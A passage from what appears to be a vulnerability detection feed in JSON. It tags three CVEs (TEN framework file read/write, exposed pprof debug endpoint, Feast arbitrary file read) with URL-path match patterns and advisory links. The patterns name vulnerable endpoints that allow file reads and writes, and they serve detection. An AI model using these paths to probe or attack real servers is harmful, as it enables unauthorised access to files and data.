Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content","reference_urls":["https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer","https://github.com/TEN-framework/ten-framework/issues/2187","https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs","https://nvd.nist.gov/vuln/detail/CVE-2026-85688"]},{"tag_id":"CVE-2019-11248","tag_type":"cve","title":"Debug Endpoint pprof - Exposure Detection","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/debug/pprof","reference_urls":["https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0","http://mmcloughlin.com/posts/your-pprof-is-showing","https://github.com/kubernetes/kubernetes/issues/81023","https://groups.google.com/d/msg/kubernetes-security-announce/pKELclHIov8/BEDtRELACQAJ","https://nvd.nist.gov/vuln/detail/CVE-2019-11248"]},{"tag_id":"CVE-2026-23536","tag_type":"cve","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document","reference_urls":["https://access.redhat.com/security/cve/CVE-2026-23536","https://bugzilla.redhat.com/show_bug.cgi?id=2429302","https://github.com/feast-dev/feast","https://nvd.nist.gov/vuln/detail/CVE-2026-23536"]}],"data_as_of":"2026-09-29T14:52:14.540546+00:00"}